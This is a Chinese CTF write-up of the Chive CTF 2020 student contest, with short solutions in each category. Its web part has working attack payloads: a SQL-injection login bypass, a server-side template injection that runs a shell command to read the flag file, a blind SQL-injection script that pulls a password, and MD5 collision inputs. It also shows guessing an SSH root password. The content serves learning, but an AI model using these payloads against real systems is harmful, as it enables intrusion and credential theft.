[Chive CTF2020]Write Up

哈工大新生赛(真新生)


签到


magicCube

在scripts/certificate.js中搜索flag得到flag


小游戏

这题还不会(我太菜了)

打开游戏随意测试一下。首先挣钱买一下远古典籍残卷

发现在法术项的时候是unsigned long long int 也就是一个unsigned转signed,所以我们只要把血量买足够了,在买法术的时候输入负数,即可获得flag

 

RE


doyouknowida

IDA打开搜索一下字符串就有flag


upx

 

社工


“盒子”里的秘密

这土豆题太顶了woc,这个思路真的开阔(也可能我想不到)

打开后查看用户,发现有一个Raven729 的管理员用户,题干中描述了

‘‘某日,第五空间俱乐部的小Q用土豆制的黑科技服务器上线了个人的CTFd,你能找到他隐藏的秘密吗? ’’

根据提示小Q的安全意识很差,所以使用用户名Raven729 密码 Raven729 登录

(把ctfd翻遍了也没有,以为新出了洞)

 

(后来都在线想能不能getshell)—->>>>其实就是这里的思路,可惜当时没想到(群里也一直在说在土豆里不在土豆表面)

给了hint‘想想怎么用你从土豆皮表面获得的信息得到土豆心里的flag’

(不会是链接ssh吧???)试一下 用户名root 密码Raven729

连上了,找一下就有flag了

 

 

WEB 


index.?

页面后加入index.php访问,注释中获得flag

 


勇者斗恶龙

首先在这里更改最大长度进行测试。

这里提示了我们恶龙的战斗力为10000

所以我们将自己的战斗力提升到10000以上并保持在100级

挑战恶龙拿flag就行了


勇者谎称斗恶龙

打开靶机查看源码发现是前段的JS,

控制台人为控制一下power即可


catchME

题目hint’看看url,你眼睛花了吗’

打开后发现快速跳转到新页面了。抓包就有flag了


magicpassword

万能密码

admin’ or 1=1 #

登录


GITHUB

这题有点脑洞- – 反正我想了好久

在github中搜

 

打开获得flag

上面是非预期解,预期解释.git泄露(虽然我没下载下来)


一百万猜数

和勇者谎称斗恶龙类似,猜数开始在控制台输入num会告诉你数是什么

预期解2 打xss


生日快乐

选第二个礼物。爆破一下生日

2000 2 24


ezheader

简单的头

添加就行了

注释中有 flag


magicMD5

下载index.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
    echo "do you know how i backup my file
 
";
    $a1=$_GET['a1'];
    $a2=$_GET['a2'];
    $b1=$_GET['b1'];
    $b2=$_GET['b2'];
    $c1=$_POST['c1'];
    $c2=$_POST['c2'];
    $d1=$_POST['d1'];
    $d2=$_POST['d2'];
    if(is_numeric($a1)&&(!is_numeric($a2))&&intval($a1)==intval($a2)){
        echo 'level 1 pass
';
    }else{
        die('get out');
    }
 
    if($b1!=$b2&&md5($b1)==md5($b2)){
        echo 'level 2 pass
';
    }else{
        die('get out');
    }
 
    if($c1!==$c2&&md5($c1)===md5($c2)){
        echo 'level 3 pass
';
    }else{
        die('get out');
    }
 
    if((string)$d1!==(string)$d2&&md5($d1)===md5($d2)){
        echo 'level 3 pass
';
    }else{
        die('get out');
    }
 
    $flag = 'flag_here';
    echo "<!-- ".$flag." -->";

简单的md5绕过

get:  
a1=1337&a2=1337e&b1[]=1&b2[]=2
post:  c1[]=1&c2[]=3&d1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&d2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

正则公主的秘密日记

这题正则确实有点东西(主要我看不懂)

将正则传入解密网站匹配一下

按照他的含义输入相应的字符串即可

payload:I am pppprrincw o abnsd


贷款

打开靶机发现url中data中数据有嫌疑,

有64位,两个32位的md5,解密一下发现前面base64加密的金额后面是欠款,改成大于flag100元的金额购买就好了


Robot

简单的ssti,过滤了flag字样,字符拼接

payload一把梭:{{().__class__.__mro__[1].__subclasses__()[59].__init__.__getattribute__('func_gl'+'obals')["linecache"].__dict__['o'+'s'].__dict__['popen']('cat /app/fl'+'ag.txt').read()}}

GetPassword

测试一下就知道是盲注了,当表达式为真的时候输出you are my vaala

脚本一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
proxies={'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'}
 
req = requests.Session()
header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"}
 
url = "http://vps.vaala.cat:28000/index.php?username="
 
flag = "flag:"
for i in range(1,50):
    for j in range(33,127):
        #payload="%27 or ascii(substr((sselectelect%20table_name%20from%20information_schema.tables%20where%20table_schema=%27vaalacat%27),"+str(i)+",1))="+str(j)+"%23"
        #payload="%27 or ascii(substr((sselectelect%20column_name%20from%20information_schema.columns%20where%20table_name=%27vaala%27limit%201,1),"+str(i)+",1))="+str(j)+"%23"
        payload="%27 or ascii(substr((sselectelect%20password%20from%20vaala),"+str(i)+",1))="+str(j)+"%23"
        html = req.get(url+payload)
        if 'you are my vaala' in html.text: 
            flag = flag + chr(j)
            print(flag)
            break

 

 

MISC


菩提本无树,明镜亦非台

word文档

全选后发现白色字体,扔到佛曰里解密即可 与佛伦禅


害怕黑暗吗

Stegsolve一把梭


谢尔顿的噩梦

敲击ascii码过滤男生

33 24 22 23 44 32 11 42 15

热身赛dingding的经验 敲击码解码就行


give_you_flag

7z无视伪加密,图片打开后补全二维码定位符扫一下就是flag


搏击第五空间

010 Editor打开发现中间有一串base64加密的东西

解密即flag


简单流量分析

wireshark打开有一个压缩包,提取出来图片flag


君は蔷薇より美しい

更改图片宽高获得一个BV号

打开bilibili发现熊叫上方存在黑白交替的闪烁,猜测是0101 将白色设为0黑色为1 看亿遍(爷吐了这题)

01100011
01101000
01100001
01101110
01100111
01100101
01100100
01011111
01100001
01101000
01101000
01101000
01101000
01101000
01101000
01101000
01101000
01101000

二进制转ascii 得到flag flag{changed_ahhhhhhhhh}

 

 

Mobile


送给最好的TA

notepad++打开搜索一下flag字段获得flag


Mobile1

和mobile2一样,找到字符串以后异或^0xf


Mobile2

具体看https://blog.csdn.net/tc125/article/details/94502932

 

 

Crypto


Rainbow

维吉尼亚密码

(没见过这图学到了)

网页一把梭也行


13道栏

栅栏密码解密【W型】+rot13


你以为这是普通的栅栏?

上面网站一把梭


ez_py_challenge

下载下来一个pyc文件,使用EasyPythonDecompiler工具反编译出python代码,发现经历了三次加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# Embedded file name: ezpychallenge.py
import base64
 
def encode1(ans):
    s = ''
    for i in ans:
        x = ord(i) ^ 73
        x = x + 12
        s += chr(x)
 
    return s
 
 
def encode2(ans):
    s = ''
    for i in ans:
        x = ord(i) + 37
        x = x ^ 21
        s += chr(x)
 
    return s
 
 
def encode3(ans):
    return base64.b32encode(ans)
 
 
flag = ''
print 'Please Input your flag:'
flag = raw_input()
final = 'OVBUYSTWI5GGKSDVPBGUITKOPF2H662COA======'
if encode3(encode2(encode1(flag))) == final:
    print 'correct'
else:
    print 'wrong'
 
 
反着解密就行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import base64
 
def encode1(ans):
    x = ''
    s = ''
    for i in ans:
        x = ord(i) - 12
        x = x ^ 73
        s += chr(x)
    return s
 
def encode2(ans):
    x = ''
    s = ''
    for i in ans:
        x = ord(i) ^ 21
        x = x- 37
        s += chr(x)
    return s
 
flag = 'uCLJvGLeHuxMDMNyt{Bp'
a=encode1(encode2(flag))
print (a)

 


ez_RSA

d = gmpy2.invert(e, (p-1)*(q-1))
脚本一套就行

use_the_keyboard

base64解密,按照他给的顺序在键盘上找一下,包围的字母连起来就是flag—>>>welldone


皇帝的flag

打开以后发现flag{}中是空的,使用010 Editor打开后发现flag中确实有文字。使用vim打开后发现如下字样

这里有Ga1@xy师傅博客讲过该加密: 浅谈基于零宽度字符的隐写方式

直接网址一把梭零宽字符隐藏加密

自己改成摩斯电码也行 200B—-> 分隔符 200C—> ‘.’  200D—> ‘-‘


摩斯探长前传

这题真的真的真的太顶了woc

打开文件,一个朔长的英文文档。仔细观察发现其中有很多莫名其妙大写的字母

简单观察了一下第一个为ZERO 零,那么就脚本输出一下所有的大写字母吧!

1
2
3
4
5
6
str = open('1.txt','r').read()
re= ''
for i in str:
    if ord(i)>=65 and ord(i)<=90:
        re+=i
print(re)
 ZEROZEROONEZEROPZEROONEZEROZEROPZEROONEPONEONEZEROPONEONEONEONEZEROONEONEPZEROZEROZEROZEROPZEROONEONEONEONEPONEZEROZEROPZEROZEROZEROONEONEPZEROZEROONEONEZEROONEPZEROONEONEONEONEPONEZEROPZEROZEROONEONEZEROONEPZEROONEONEZEROPZEROONEZEROZEROPZEROZEROZEROZEROONEPZEROONEONEONEONEPONEZEROPZEROZEROONEONEZEROONEPZEROZEROZEROZEROZEROPZEROONEONEONEONEPONEONEONEONEZEROPZEROZEROZEROZEROPONEONEZEROZEROZEROPONEONEONEONEONEZEROONE

输出了一吨0和1还有P,那根据经验p就是换行了

0010 0100 01 110 1111011 0000 01111 100 00011 001101 01111 10 001101 0110 0100 00001 01111 10 001101 00000 01111 11110 0000 11000 1111101

本来以为是ascii码,后来发现如果是ascii码那么00100这样的字符则无意义,还有可能是摩斯密码

把0替换成’.’  1替换成’-‘

..-. .-.. .- --. ----.-- .... .---- -.. ...-- ..--.- .---- -. ..--.- .--. .-.. ....- .---- -. ..--.- ..... .---- ----. .... --... -----.-

解码即flag

解码网站(我认为好使的)摩斯密码翻译器_摩斯密码转换器

转换成小写即flag(这里膜一下Ga1@xy师傅tttttql)

(听说校内有手撕,膜)

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

Protected with IP Blacklist CloudIP Blacklist Cloud